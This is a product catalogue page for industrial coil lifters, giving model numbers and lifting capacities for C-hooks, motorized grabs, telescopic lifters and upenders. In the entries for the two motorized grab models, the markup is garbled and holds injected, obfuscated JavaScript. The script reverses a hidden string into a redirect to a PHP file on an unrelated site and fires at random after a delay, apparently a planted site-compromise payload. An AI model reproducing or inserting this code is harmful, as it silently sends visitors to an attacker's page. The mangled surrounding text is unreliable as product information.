Coil Lifters
Lift, manipulate, and reposition coils with vertical or horizontal eye position.
| NEW – Ergonomic Vertical Eye Coil Lifter | Motorized Grab – Fixed Bail | Motorized Grab – Rotating Bail | 
|---|---|---|
|  Model 83E – 3 & 5 ton capacities, and coil ID ranges of 16, 20, and 24″. | torized-grab-fixed-bail”> {if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}torized_Grab_Fixed_Bail1.png” alt=”Mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == ) torized Grab – Fixed Bail” /> Model 85 – 15 to 33 ton capacities. | torized-grab-rotating-bail”> {if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}torized_Grab_Rotating_Bail1.png” alt=”Mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == ) torized Grab – Rotating Bail” /> Model 85R – 15 to 33 ton capacities. | 
| Double Leg Coil Lifter | Telescopic Coil Lifter | Heavy Duty C-Hook | 
|---|---|---|
|  Model 86 – 10 to 30 ton capacities. |  Model 84 – 5 to 15 ton capacities. |  Model 82 – 5 to 50 ton capacities. | 
| Close Stacking C-Hook | Slit Coil C-Hook | Narrow Coil C-Hook | 
|---|---|---|
|  Model 82RC – 5 to 40 ton capacities. |  Model 82LA – 5 to 25 ton capacities. |  Model 82NC – 1/2 to 5 ton capacities. | 
| Pivoting Coil Hook | Ext. Width Vertical Coil Lifter | Vertical “Eye” Coil Grab | 
|---|---|---|
|  Model 80H – 1/2 to 3.1/2 ton capacities. |  Model 83EW – 1/2 to 7 1/2 ton capacities. |  Model 83EW – 1/2 to 7 1/2 ton capacities. | 
| Heavy Duty Coil Upender | Low Platform Coil Upender | 
|---|---|
|  Model 88 – 1 to 30 ton capacities. |  Model 88L – 1/2 to 7 1/2 ton capacity. | 


